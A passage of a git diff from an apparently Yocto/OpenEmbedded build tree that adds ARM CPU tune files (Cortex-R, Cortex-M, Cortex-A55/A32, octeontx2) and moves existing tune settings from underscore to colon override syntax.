+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexm7', ' -mcpu=cortex-m7', '', d)}"
+
+require conf/machine/include/arm/arch-armv7em.inc
+
+AVAILTUNES += "cortexm7"
+ARMPKGARCH:tune-cortexm7 = "cortexm7"
+TUNE_FEATURES:tune-cortexm7 = "${TUNE_FEATURES:tune-armv7em} cortexm7"
+PACKAGE_EXTRA_ARCHS:tune-cortexm7 = "${PACKAGE_EXTRA_ARCHS:tune-armv7em} cortexm7"
diff --git a/meta/conf/machine/include/arm/armv7r/tune-cortexr4.inc b/meta/conf/machine/include/arm/armv7r/tune-cortexr4.inc
new file mode 100644
index 0000000000..0eed729630
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv7r/tune-cortexr4.inc
@@ -0,0 +1,14 @@
+#
+# Tune Settings for Cortex-R4
+#
+DEFAULTTUNE ?= "cortexr4"
+
+TUNEVALID[cortexr4] = "Enable Cortex-R4 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexr4', ' -mcpu=cortex-r4', '', d)}"
+
+require conf/machine/include/arm/arch-armv7r.inc
+
+AVAILTUNES += "cortexr4"
+ARMPKGARCH:tune-cortexr4 = "cortexr4"
+TUNE_FEATURES:tune-cortexr4 = "${TUNE_FEATURES:tune-armv7r} cortexr4"
+PACKAGE_EXTRA_ARCHS:tune-cortexr4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7r} cortexr4"
diff --git a/meta/conf/machine/include/arm/armv7r/tune-cortexr4f.inc b/meta/conf/machine/include/arm/armv7r/tune-cortexr4f.inc
new file mode 100644
index 0000000000..0712b3ab1b
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv7r/tune-cortexr4f.inc
@@ -0,0 +1,14 @@
+#
+# Tune Settings for Cortex-R4F
+#
+DEFAULTTUNE ?= "cortexr4f"
+
+TUNEVALID[cortexr4f] = "Enable Cortex-R4F specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexr4f', ' -mcpu=cortex-r4f', '', d)}"
+
+require conf/machine/include/arm/arch-armv7r.inc
+
+AVAILTUNES += "cortexr4f"
+ARMPKGARCH:tune-cortexr4f = "cortexr4f"
+TUNE_FEATURES:tune-cortexr4f = "${TUNE_FEATURES:tune-armv7r-vfpv3d16} cortexr4f"
+PACKAGE_EXTRA_ARCHS:tune-cortexr4f = "${PACKAGE_EXTRA_ARCHS:tune-armv7r-vfpv3d16} cortexr4f-vfpv3d16"
diff --git a/meta/conf/machine/include/arm/armv7r/tune-cortexr5.inc b/meta/conf/machine/include/arm/armv7r/tune-cortexr5.inc
new file mode 100644
index 0000000000..ecaaa0d846
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv7r/tune-cortexr5.inc
@@ -0,0 +1,14 @@
+#
+# Tune Settings for Cortex-R5
+#
+DEFAULTTUNE ?= "cortexr5"
+
+TUNEVALID[cortexr5] = "Enable Cortex-R5 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexr5', ' -mcpu=cortex-r5', '', d)}"
+
+require conf/machine/include/arm/arch-armv7r.inc
+
+AVAILTUNES += "cortexr5"
+ARMPKGARCH:tune-cortexr5 = "cortexr5"
+TUNE_FEATURES:tune-cortexr5 = "${TUNE_FEATURES:tune-armv7r-vfpv3d16} cortexr5 idiv"
+PACKAGE_EXTRA_ARCHS:tune-cortexr5 = "${PACKAGE_EXTRA_ARCHS:tune-armv7r-vfpv3d16} cortexr5-vfpv3d16"
diff --git a/meta/conf/machine/include/arm/armv7r/tune-cortexr7.inc b/meta/conf/machine/include/arm/armv7r/tune-cortexr7.inc
new file mode 100644
index 0000000000..bfae1f0075
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv7r/tune-cortexr7.inc
@@ -0,0 +1,14 @@
+#
+# Tune Settings for Cortex-R7
+#
+DEFAULTTUNE ?= "cortexr7"
+
+TUNEVALID[cortexr7] = "Enable Cortex-R7 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexr7', ' -mcpu=cortex-r7', '', d)}"
+
+require conf/machine/include/arm/arch-armv7r.inc
+
+AVAILTUNES += "cortexr7"
+ARMPKGARCH:tune-cortexr7 = "cortexr7"
+TUNE_FEATURES:tune-cortexr7 = "${TUNE_FEATURES:tune-armv7r-vfpv3d16} cortexr7 idiv"
+PACKAGE_EXTRA_ARCHS:tune-cortexr7 = "${PACKAGE_EXTRA_ARCHS:tune-armv7r-vfpv3d16} cortexr7-vfpv3d16"
diff --git a/meta/conf/machine/include/arm/armv7r/tune-cortexr8.inc b/meta/conf/machine/include/arm/armv7r/tune-cortexr8.inc
new file mode 100644
index 0000000000..7fb824f6e9
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv7r/tune-cortexr8.inc
@@ -0,0 +1,14 @@
+#
+# Tune Settings for Cortex-R8
+#
+DEFAULTTUNE ?= "cortexr8"
+
+TUNEVALID[cortexr8] = "Enable Cortex-R8 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexr8', ' -mcpu=cortex-r8', '', d)}"
+
+require conf/machine/include/arm/arch-armv7r.inc
+
+AVAILTUNES += "cortexr8"
+ARMPKGARCH:tune-cortexr8 = "cortexr8"
+TUNE_FEATURES:tune-cortexr8 = "${TUNE_FEATURES:tune-armv7r-vfpv3d16} cortexr8 idiv"
+PACKAGE_EXTRA_ARCHS:tune-cortexr8 = "${PACKAGE_EXTRA_ARCHS:tune-armv7r-vfpv3d16} cortexr8-vfpv3d16"
diff --git a/meta/conf/machine/include/arm/armv8-1m/tune-cortexm55.inc b/meta/conf/machine/include/arm/armv8-1m/tune-cortexm55.inc
new file mode 100644
index 0000000000..493ad67b21
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8-1m/tune-cortexm55.inc
@@ -0,0 +1,14 @@
+#
+# Tune Settings for Cortex-M55
+#
+DEFAULTTUNE ?= "cortexm55"
+
+TUNEVALID[cortexm55] = "Enable Cortex-M55 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexm55', ' -mcpu=cortex-m55', '', d)}"
+
+require conf/machine/include/arm/arch-armv8-1m-main.inc
+
+AVAILTUNES += "cortexm55"
+ARMPKGARCH:tune-cortexm55 = "cortexm55"
+TUNE_FEATURES:tune-cortexm55 = "${TUNE_FEATURES:tune-armv8-1m-main} cortexm55"
+PACKAGE_EXTRA_ARCHS:tune-cortexm55 = "${PACKAGE_EXTRA_ARCHS:tune-armv8-1m-main} cortexm55"
diff --git a/meta/conf/machine/include/arm/armv8-2a/tune-cortexa55.inc b/meta/conf/machine/include/arm/armv8-2a/tune-cortexa55.inc
new file mode 100644
index 0000000000..d130b4b90a
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8-2a/tune-cortexa55.inc
@@ -0,0 +1,13 @@
+DEFAULTTUNE ?= "cortexa55"
+
+TUNEVALID[cortexa55] = "Enable Cortex-A55 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa55', ' -mcpu=cortex-a55', '', d)}"
+
+require conf/machine/include/arm/arch-armv8-2a.inc
+
+# Little Endian base configs
+AVAILTUNES += "cortexa55"
+ARMPKGARCH:tune-cortexa55 = "cortexa55"
+TUNE_FEATURES:tune-cortexa55 = "${TUNE_FEATURES:tune-armv8-2a-crypto} cortexa55"
+PACKAGE_EXTRA_ARCHS:tune-cortexa55 = "${PACKAGE_EXTRA_ARCHS:tune-armv8-2a-crypto} cortexa55"
+BASE_LIB:tune-cortexa55 = "lib64"
diff --git a/meta/conf/machine/include/arm/armv8-2a/tune-cortexa65.inc b/meta/conf/machine/include/arm/armv8-2a/tune-cortexa65.inc
index 427e58947f..c7e86887b5 100644
--- a/meta/conf/machine/include/arm/armv8-2a/tune-cortexa65.inc
+++ b/meta/conf/machine/include/arm/armv8-2a/tune-cortexa65.inc
@@ -10,7 +10,7 @@ require conf/machine/include/arm/arch-armv8-2a.inc
# Little Endian base configs
AVAILTUNES += "cortexa65"
-ARMPKGARCH_tune-cortexa65 = "cortexa65"
-TUNE_FEATURES_tune-cortexa65 = "${TUNE_FEATURES_tune-armv8-2a-crypto} cortexa65"
-PACKAGE_EXTRA_ARCHS_tune-cortexa65 = "${PACKAGE_EXTRA_ARCHS_tune-armv8-2a-crypto} cortexa65"
-BASE_LIB_tune-cortexa65 = "lib64"
+ARMPKGARCH:tune-cortexa65 = "cortexa65"
+TUNE_FEATURES:tune-cortexa65 = "${TUNE_FEATURES:tune-armv8-2a-crypto} cortexa65"
+PACKAGE_EXTRA_ARCHS:tune-cortexa65 = "${PACKAGE_EXTRA_ARCHS:tune-armv8-2a-crypto} cortexa65"
+BASE_LIB:tune-cortexa65 = "lib64"
diff --git a/meta/conf/machine/include/arm/armv8-2a/tune-cortexa65ae.inc b/meta/conf/machine/include/arm/armv8-2a/tune-cortexa65ae.inc
index aea47d0778..dad6d1b174 100644
--- a/meta/conf/machine/include/arm/armv8-2a/tune-cortexa65ae.inc
+++ b/meta/conf/machine/include/arm/armv8-2a/tune-cortexa65ae.inc
@@ -10,7 +10,7 @@ require conf/machine/include/arm/arch-armv8-2a.inc
# Little Endian base configs
AVAILTUNES += "cortexa65ae"
-ARMPKGARCH_tune-cortexa65ae = "cortexa65ae"
-TUNE_FEATURES_tune-cortexa65ae = "${TUNE_FEATURES_tune-armv8-2a-crypto} cortexa65ae"
-PACKAGE_EXTRA_ARCHS_tune-cortexa65ae = "${PACKAGE_EXTRA_ARCHS_tune-armv8-2a-crypto} cortexa65ae"
-BASE_LIB_tune-cortexa65ae = "lib64"
+ARMPKGARCH:tune-cortexa65ae = "cortexa65ae"
+TUNE_FEATURES:tune-cortexa65ae = "${TUNE_FEATURES:tune-armv8-2a-crypto} cortexa65ae"
+PACKAGE_EXTRA_ARCHS:tune-cortexa65ae = "${PACKAGE_EXTRA_ARCHS:tune-armv8-2a-crypto} cortexa65ae"
+BASE_LIB:tune-cortexa65ae = "lib64"
diff --git a/meta/conf/machine/include/arm/armv8-2a/tune-cortexa75-cortexa55.inc b/meta/conf/machine/include/arm/armv8-2a/tune-cortexa75-cortexa55.inc
index 9c45fe9c96..3a47e8278d 100644
--- a/meta/conf/machine/include/arm/armv8-2a/tune-cortexa75-cortexa55.inc
+++ b/meta/conf/machine/include/arm/armv8-2a/tune-cortexa75-cortexa55.inc
@@ -10,11 +10,11 @@ TUNE_CCARGS .= "${@bb.utils.contains("TUNE_FEATURES", "cortexa75-cortexa55", " -
require conf/machine/include/arm/arch-armv8-2a.inc
AVAILTUNES += "cortexa75-cortexa55 cortexa75-cortexa55-crypto"
-ARMPKGARCH_tune-cortexa75-cortexa55 = "cortexa75-cortexa55"
-ARMPKGARCH_tune-cortexa75-cortexa55-crypto = "cortexa75-cortexa55-crypto"
-TUNE_FEATURES_tune-cortexa75-cortexa55 = "${TUNE_FEATURES_tune-armv8-2a} cortexa75-cortexa55"
-TUNE_FEATURES_tune-cortexa75-cortexa55-crypto = "${TUNE_FEATURES_tune-cortexa75-cortexa55} crypto"
-PACKAGE_EXTRA_ARCHS_tune-cortexa75-cortexa55 = "${PACKAGE_EXTRA_ARCHS_tune-armv8-2a} cortexa75-cortexa55"
-PACKAGE_EXTRA_ARCHS_tune-cortexa75-cortexa55-crypto = "${PACKAGE_EXTRA_ARCHS_tune-armv8-2a-crypto} cortexa75-cortexa55 cortexa75-cortexa55-crypto"
-BASE_LIB_tune-cortexa75-cortexa55 = "lib64"
-BASE_LIB_tune-cortexa75-cortexa55-crypto = "lib64"
+ARMPKGARCH:tune-cortexa75-cortexa55 = "cortexa75-cortexa55"
+ARMPKGARCH:tune-cortexa75-cortexa55-crypto = "cortexa75-cortexa55-crypto"
+TUNE_FEATURES:tune-cortexa75-cortexa55 = "${TUNE_FEATURES:tune-armv8-2a} cortexa75-cortexa55"
+TUNE_FEATURES:tune-cortexa75-cortexa55-crypto = "${TUNE_FEATURES:tune-cortexa75-cortexa55} crypto"
+PACKAGE_EXTRA_ARCHS:tune-cortexa75-cortexa55 = "${PACKAGE_EXTRA_ARCHS:tune-armv8-2a} cortexa75-cortexa55"
+PACKAGE_EXTRA_ARCHS:tune-cortexa75-cortexa55-crypto = "${PACKAGE_EXTRA_ARCHS:tune-armv8-2a-crypto} cortexa75-cortexa55 cortexa75-cortexa55-crypto"
+BASE_LIB:tune-cortexa75-cortexa55 = "lib64"
+BASE_LIB:tune-cortexa75-cortexa55-crypto = "lib64"
diff --git a/meta/conf/machine/include/arm/armv8-2a/tune-cortexa75.inc b/meta/conf/machine/include/arm/armv8-2a/tune-cortexa75.inc
index d019450da7..2d9a1159f1 100644
--- a/meta/conf/machine/include/arm/armv8-2a/tune-cortexa75.inc
+++ b/meta/conf/machine/include/arm/armv8-2a/tune-cortexa75.inc
@@ -10,7 +10,7 @@ require conf/machine/include/arm/arch-armv8-2a.inc
# Little Endian base configs
AVAILTUNES += "cortexa75"
-ARMPKGARCH_tune-cortexa75 = "cortexa75"
-TUNE_FEATURES_tune-cortexa75 = "${TUNE_FEATURES_tune-armv8-2a-crypto} cortexa75"
-PACKAGE_EXTRA_ARCHS_tune-cortexa75 = "${PACKAGE_EXTRA_ARCHS_tune-armv8-2a-crypto} cortexa75"
-BASE_LIB_tune-cortexa75 = "lib64"
+ARMPKGARCH:tune-cortexa75 = "cortexa75"
+TUNE_FEATURES:tune-cortexa75 = "${TUNE_FEATURES:tune-armv8-2a-crypto} cortexa75"
+PACKAGE_EXTRA_ARCHS:tune-cortexa75 = "${PACKAGE_EXTRA_ARCHS:tune-armv8-2a-crypto} cortexa75"
+BASE_LIB:tune-cortexa75 = "lib64"
diff --git a/meta/conf/machine/include/arm/armv8-2a/tune-cortexa76-cortexa55.inc b/meta/conf/machine/include/arm/armv8-2a/tune-cortexa76-cortexa55.inc
index cae8ffed74..f4c99ad6bb 100644
--- a/meta/conf/machine/include/arm/armv8-2a/tune-cortexa76-cortexa55.inc
+++ b/meta/conf/machine/include/arm/armv8-2a/tune-cortexa76-cortexa55.inc
@@ -10,11 +10,11 @@ TUNE_CCARGS .= "${@bb.utils.contains("TUNE_FEATURES", "cortexa76-cortexa55", " -
require conf/machine/include/arm/arch-armv8-2a.inc
AVAILTUNES += "cortexa76-cortexa55 cortexa76-cortexa55-crypto"
-ARMPKGARCH_tune-cortexa76-cortexa55 = "cortexa76-cortexa55"
-ARMPKGARCH_tune-cortexa76-cortexa55-crypto = "cortexa76-cortexa55-crypto"
-TUNE_FEATURES_tune-cortexa76-cortexa55 = "${TUNE_FEATURES_tune-armv8-2a} cortexa76-cortexa55"
-TUNE_FEATURES_tune-cortexa76-cortexa55-crypto = "${TUNE_FEATURES_tune-cortexa76-cortexa55} crypto"
-PACKAGE_EXTRA_ARCHS_tune-cortexa76-cortexa55 = "${PACKAGE_EXTRA_ARCHS_tune-armv8-2a} cortexa76-cortexa55"
-PACKAGE_EXTRA_ARCHS_tune-cortexa76-cortexa55-crypto = "${PACKAGE_EXTRA_ARCHS_tune-armv8-2a-crypto} cortexa76-cortexa55 cortexa76-cortexa55-crypto"
-BASE_LIB_tune-cortexa76-cortexa55 = "lib64"
-BASE_LIB_tune-cortexa76-cortexa55-crypto = "lib64"
+ARMPKGARCH:tune-cortexa76-cortexa55 = "cortexa76-cortexa55"
+ARMPKGARCH:tune-cortexa76-cortexa55-crypto = "cortexa76-cortexa55-crypto"
+TUNE_FEATURES:tune-cortexa76-cortexa55 = "${TUNE_FEATURES:tune-armv8-2a} cortexa76-cortexa55"
+TUNE_FEATURES:tune-cortexa76-cortexa55-crypto = "${TUNE_FEATURES:tune-cortexa76-cortexa55} crypto"
+PACKAGE_EXTRA_ARCHS:tune-cortexa76-cortexa55 = "${PACKAGE_EXTRA_ARCHS:tune-armv8-2a} cortexa76-cortexa55"
+PACKAGE_EXTRA_ARCHS:tune-cortexa76-cortexa55-crypto = "${PACKAGE_EXTRA_ARCHS:tune-armv8-2a-crypto} cortexa76-cortexa55 cortexa76-cortexa55-crypto"
+BASE_LIB:tune-cortexa76-cortexa55 = "lib64"
+BASE_LIB:tune-cortexa76-cortexa55-crypto = "lib64"
diff --git a/meta/conf/machine/include/arm/armv8-2a/tune-cortexa76.inc b/meta/conf/machine/include/arm/armv8-2a/tune-cortexa76.inc
index ae3661a0c4..0dfdb8c5e4 100644
--- a/meta/conf/machine/include/arm/armv8-2a/tune-cortexa76.inc
+++ b/meta/conf/machine/include/arm/armv8-2a/tune-cortexa76.inc
@@ -10,7 +10,7 @@ require conf/machine/include/arm/arch-armv8-2a.inc
# Little Endian base configs
AVAILTUNES += "cortexa76"
-ARMPKGARCH_tune-cortexa76 = "cortexa76"
-TUNE_FEATURES_tune-cortexa76 = "${TUNE_FEATURES_tune-armv8-2a-crypto} cortexa76"
-PACKAGE_EXTRA_ARCHS_tune-cortexa76 = "${PACKAGE_EXTRA_ARCHS_tune-armv8-2a-crypto} cortexa76"
-BASE_LIB_tune-cortexa76 = "lib64"
+ARMPKGARCH:tune-cortexa76 = "cortexa76"
+TUNE_FEATURES:tune-cortexa76 = "${TUNE_FEATURES:tune-armv8-2a-crypto} cortexa76"
+PACKAGE_EXTRA_ARCHS:tune-cortexa76 = "${PACKAGE_EXTRA_ARCHS:tune-armv8-2a-crypto} cortexa76"
+BASE_LIB:tune-cortexa76 = "lib64"
diff --git a/meta/conf/machine/include/arm/armv8-2a/tune-cortexa76ae.inc b/meta/conf/machine/include/arm/armv8-2a/tune-cortexa76ae.inc
index 8d5a0ef5e2..b2863dca68 100644
--- a/meta/conf/machine/include/arm/armv8-2a/tune-cortexa76ae.inc
+++ b/meta/conf/machine/include/arm/armv8-2a/tune-cortexa76ae.inc
@@ -10,7 +10,7 @@ require conf/machine/include/arm/arch-armv8-2a.inc
# Little Endian base configs
AVAILTUNES += "cortexa76ae"
-ARMPKGARCH_tune-cortexa76ae = "cortexa76ae"
-TUNE_FEATURES_tune-cortexa76ae = "${TUNE_FEATURES_tune-armv8-2a-crypto} cortexa76ae"
-PACKAGE_EXTRA_ARCHS_tune-cortexa76ae = "${PACKAGE_EXTRA_ARCHS_tune-armv8-2a-crypto} cortexa76ae"
-BASE_LIB_tune-cortexa76ae = "lib64"
+ARMPKGARCH:tune-cortexa76ae = "cortexa76ae"
+TUNE_FEATURES:tune-cortexa76ae = "${TUNE_FEATURES:tune-armv8-2a-crypto} cortexa76ae"
+PACKAGE_EXTRA_ARCHS:tune-cortexa76ae = "${PACKAGE_EXTRA_ARCHS:tune-armv8-2a-crypto} cortexa76ae"
+BASE_LIB:tune-cortexa76ae = "lib64"
diff --git a/meta/conf/machine/include/arm/armv8-2a/tune-cortexa77.inc b/meta/conf/machine/include/arm/armv8-2a/tune-cortexa77.inc
index 048fa319e2..654b1f6323 100644
--- a/meta/conf/machine/include/arm/armv8-2a/tune-cortexa77.inc
+++ b/meta/conf/machine/include/arm/armv8-2a/tune-cortexa77.inc
@@ -10,7 +10,7 @@ require conf/machine/include/arm/arch-armv8-2a.inc
# Little Endian base configs
AVAILTUNES += "cortexa77"
-ARMPKGARCH_tune-cortexa77 = "cortexa77"
-TUNE_FEATURES_tune-cortexa77 = "${TUNE_FEATURES_tune-armv8-2a-crypto} cortexa77"
-PACKAGE_EXTRA_ARCHS_tune-cortexa77 = "${PACKAGE_EXTRA_ARCHS_tune-armv8-2a-crypto} cortexa77"
-BASE_LIB_tune-cortexa77 = "lib64"
+ARMPKGARCH:tune-cortexa77 = "cortexa77"
+TUNE_FEATURES:tune-cortexa77 = "${TUNE_FEATURES:tune-armv8-2a-crypto} cortexa77"
+PACKAGE_EXTRA_ARCHS:tune-cortexa77 = "${PACKAGE_EXTRA_ARCHS:tune-armv8-2a-crypto} cortexa77"
+BASE_LIB:tune-cortexa77 = "lib64"
diff --git a/meta/conf/machine/include/arm/armv8-2a/tune-neoversee1.inc b/meta/conf/machine/include/arm/armv8-2a/tune-neoversee1.inc
index b82c9acb6c..15ed595bde 100644
--- a/meta/conf/machine/include/arm/armv8-2a/tune-neoversee1.inc
+++ b/meta/conf/machine/include/arm/armv8-2a/tune-neoversee1.inc
@@ -10,7 +10,7 @@ require conf/machine/include/arm/arch-armv8-2a.inc
# Little Endian base configs
AVAILTUNES += "neoversee1"
-ARMPKGARCH_tune-neoversee1 = "neoversee1"
-TUNE_FEATURES_tune-neoversee1 = "${TUNE_FEATURES_tune-armv8-2a-crypto} neoversee1"
-PACKAGE_EXTRA_ARCHS_tune-neoversee1 = "${PACKAGE_EXTRA_ARCHS_tune-armv8-2a-crypto} neoversee1"
-BASE_LIB_tune-neoversee1 = "lib64"
+ARMPKGARCH:tune-neoversee1 = "neoversee1"
+TUNE_FEATURES:tune-neoversee1 = "${TUNE_FEATURES:tune-armv8-2a-crypto} neoversee1"
+PACKAGE_EXTRA_ARCHS:tune-neoversee1 = "${PACKAGE_EXTRA_ARCHS:tune-armv8-2a-crypto} neoversee1"
+BASE_LIB:tune-neoversee1 = "lib64"
diff --git a/meta/conf/machine/include/arm/armv8-2a/tune-neoversen1.inc b/meta/conf/machine/include/arm/armv8-2a/tune-neoversen1.inc
index 6c6e889c0f..9d181ef4d5 100644
--- a/meta/conf/machine/include/arm/armv8-2a/tune-neoversen1.inc
+++ b/meta/conf/machine/include/arm/armv8-2a/tune-neoversen1.inc
@@ -11,7 +11,7 @@ require conf/machine/include/arm/arch-armv8-2a.inc
# Little Endian base configs
AVAILTUNES += "neoversen1"
-ARMPKGARCH_tune-neoversen1 = "neoversen1"
-TUNE_FEATURES_tune-neoversen1 = "${TUNE_FEATURES_tune-armv8-2a-crypto} neoversen1"
-PACKAGE_EXTRA_ARCHS_tune-neoversen1 = "${PACKAGE_EXTRA_ARCHS_tune-armv8-2a-crypto} neoversen1"
-BASE_LIB_tune-neoversen1 = "lib64"
+ARMPKGARCH:tune-neoversen1 = "neoversen1"
+TUNE_FEATURES:tune-neoversen1 = "${TUNE_FEATURES:tune-armv8-2a-crypto} neoversen1"
+PACKAGE_EXTRA_ARCHS:tune-neoversen1 = "${PACKAGE_EXTRA_ARCHS:tune-armv8-2a-crypto} neoversen1"
+BASE_LIB:tune-neoversen1 = "lib64"
diff --git a/meta/conf/machine/include/arm/armv8-2a/tune-octeontx2.inc b/meta/conf/machine/include/arm/armv8-2a/tune-octeontx2.inc
new file mode 100644
index 0000000000..2cac70ea52
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8-2a/tune-octeontx2.inc
@@ -0,0 +1,13 @@
+DEFAULTTUNE ?= "octeontx2"
+
+TUNEVALID[octeontx2] = "Enable Marvell octeontx2 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'octeontx2', ' -mcpu=octeontx2', '', d)}"
+
+require conf/machine/include/arm/arch-armv8-2a.inc
+
+# Little Endian base configs
+AVAILTUNES += "octeontx2"
+ARMPKGARCH:tune-octeontx2 = "octeontx2"
+TUNE_FEATURES:tune-octeontx2 = "${TUNE_FEATURES:tune-armv8-2a-crypto} octeontx2"
+PACKAGE_EXTRA_ARCHS:tune-octeontx2 = "${PACKAGE_EXTRA_ARCHS:tune-armv8-2a-crypto} octeontx2"
+BASE_LIB:tune-octeontx2 = "lib64"
diff --git a/meta/conf/machine/include/arm/armv8-m/tune-cortexm23.inc b/meta/conf/machine/include/arm/armv8-m/tune-cortexm23.inc
new file mode 100644
index 0000000000..25780bc080
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8-m/tune-cortexm23.inc
@@ -0,0 +1,14 @@
+#
+# Tune Settings for Cortex-M23
+#
+DEFAULTTUNE ?= "cortexm23"
+
+TUNEVALID[cortexm23] = "Enable Cortex-M23 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexm23', ' -mcpu=cortex-m23', '', d)}"
+
+require conf/machine/include/arm/arch-armv8m-base.inc
+
+AVAILTUNES += "cortexm23"
+ARMPKGARCH:tune-cortexm23 = "cortexm23"
+TUNE_FEATURES:tune-cortexm23 = "${TUNE_FEATURES:tune-armv8m-base} cortexm23"
+PACKAGE_EXTRA_ARCHS:tune-cortexm23 = "${PACKAGE_EXTRA_ARCHS:tune-armv8m-base} cortexm23"
diff --git a/meta/conf/machine/include/arm/armv8-m/tune-cortexm33.inc b/meta/conf/machine/include/arm/armv8-m/tune-cortexm33.inc
new file mode 100644
index 0000000000..04d1fe2bde
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8-m/tune-cortexm33.inc
@@ -0,0 +1,17 @@
+#
+# Tune Settings for Cortex-M33
+#
+DEFAULTTUNE ?= "cortexm33"
+
+TUNEVALID[cortexm33] = "Enable Cortex-M33 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexm33', ' -mcpu=cortex-m33', '', d)}"
+
+require conf/machine/include/arm/arch-armv8m-main.inc
+
+# GCC thnks that DSP and VFP are required, but Arm docs say it is
+# optional. So forcing below so that compiling works, but this should
+# be fixed in GCC
+AVAILTUNES += "cortexm33"
+ARMPKGARCH:tune-cortexm33 = "cortexm33"
+TUNE_FEATURES:tune-cortexm33 = "${TUNE_FEATURES:tune-armv8m-maine-vfpv5spd16} cortexm33"
+PACKAGE_EXTRA_ARCHS:tune-cortexm33 = "${PACKAGE_EXTRA_ARCHS:tune-armv8m-maine-vfpv5spd16} cortexm33e-fpv5-spd16"
diff --git a/meta/conf/machine/include/arm/armv8-m/tune-cortexm35p.inc b/meta/conf/machine/include/arm/armv8-m/tune-cortexm35p.inc
new file mode 100644
index 0000000000..60e978facd
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8-m/tune-cortexm35p.inc
@@ -0,0 +1,17 @@
+#
+# Tune Settings for Cortex-M35P
+#
+DEFAULTTUNE ?= "cortexm35p"
+
+TUNEVALID[cortexm35p] = "Enable Cortex-M35p specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexm35p', ' -mcpu=cortex-m35p', '', d)}"
+
+require conf/machine/include/arm/arch-armv8m-main.inc
+
+# GCC thnks that DSP and VFP are required, but Arm docs say it is
+# optional. So forcing below so that compiling works, but this should
+# be fixed in GCC
+AVAILTUNES += "cortexm35p"
+ARMPKGARCH:tune-cortexm35p = "cortexm35p"
+TUNE_FEATURES:tune-cortexm35p = "${TUNE_FEATURES:tune-armv8m-maine-vfpv5spd16} cortexm35p"
+PACKAGE_EXTRA_ARCHS:tune-cortexm35p = "${PACKAGE_EXTRA_ARCHS:tune-armv8m-maine-vfpv5spd16} cortexm35pe-fpv5-spd16"
diff --git a/meta/conf/machine/include/arm/armv8a/tune-cortexa32.inc b/meta/conf/machine/include/arm/armv8a/tune-cortexa32.inc
new file mode 100644
index 0000000000..c7b01a2906
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv8a/tune-cortexa32.inc
@@ -0,0 +1,17 @@
+DEFAULTTUNE ?= "cortexa32"
+
+TUNEVALID[cortexa32] = "Enable Cortex-A32 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa32', ' -mcpu=cortex-a32', '', d)}"
+
+require conf/machine/include/arm/arch-armv8a.inc
+
+# Little Endian base configs
+AVAILTUNES += "cortexa32 cortexa32-crypto"
+ARMPKGARCH:tune-cortexa32 = "cortexa32"
+ARMPKGARCH:tune-cortexa32-crypto = "cortexa32"
+TUNE_FEATURES:tune-cortexa32 = "armv8a cortexa32 crc callconvention-hard neon"
+TUNE_FEATURES:tune-cortexa32-crypto = "${TUNE_FEATURES:tune-cortexa32} crypto"
+PACKAGE_EXTRA_ARCHS:tune-cortexa32 = "${PACKAGE_EXTRA_ARCHS:tune-armv8a-crc} cortexa32 cortexa32hf-neon"
+PACKAGE_EXTRA_ARCHS:tune-cortexa32-crypto = "${PACKAGE_EXTRA_ARCHS:tune-armv8a-crc-crypto} cortexa32 cortexa32hf-neon cortexa32hf-neon-crypto"
+BASE_LIB:tune-cortexa32 = "lib"
+BASE_LIB:tune-cortexa32-crypto = "lib"
diff --git a/meta/conf/machine/include/arm/armv8a/tune-cortexa34.inc b/meta/conf/machine/include/arm/armv8a/tune-cortexa34.inc
index f7d4c87df8..55dd845b00 100644
--- a/meta/conf/machine/include/arm/armv8a/tune-cortexa34.inc
+++ b/meta/conf/machine/include/arm/armv8a/tune-cortexa34.inc
@@ -10,11 +10,11 @@ require conf/machine/include/arm/arch-armv8a.inc
# Little Endian base configs
AVAILTUNES += "cortexa34 cortexa34-crypto"
-ARMPKGARCH_tune-cortexa34 = "cortexa34"
-ARMPKGARCH_tune-cortexa34-crypto = "cortexa34"
-TUNE_FEATURES_tune-cortexa34 = "${TUNE_FEATURES_tune-armv8a-crc} cortexa34"
-TUNE_FEATURES_tune-cortexa34-crypto = "${TUNE_FEATURES_tune-cortexa34} crypto"
-PACKAGE_EXTRA_ARCHS_tune-cortexa34 = "${PACKAGE_EXTRA_ARCHS_tune-armv8a-crc} cortexa34"
-PACKAGE_EXTRA_ARCHS_tune-cortexa34-crypto = "${PACKAGE_EXTRA_ARCHS_tune-armv8a-crc-crypto} cortexa34 cortexa34-crypto"
-BASE_LIB_tune-cortexa34 = "lib64"
-BASE_LIB_tune-cortexa34-crypto = "lib64"
+ARMPKGARCH:tune-cortexa34 = "cortexa34"
+ARMPKGARCH:tune-cortexa34-crypto = "cortexa34"
+TUNE_FEATURES:tune-cortexa34 = "${TUNE_FEATURES:tune-armv8a-crc} cortexa34"
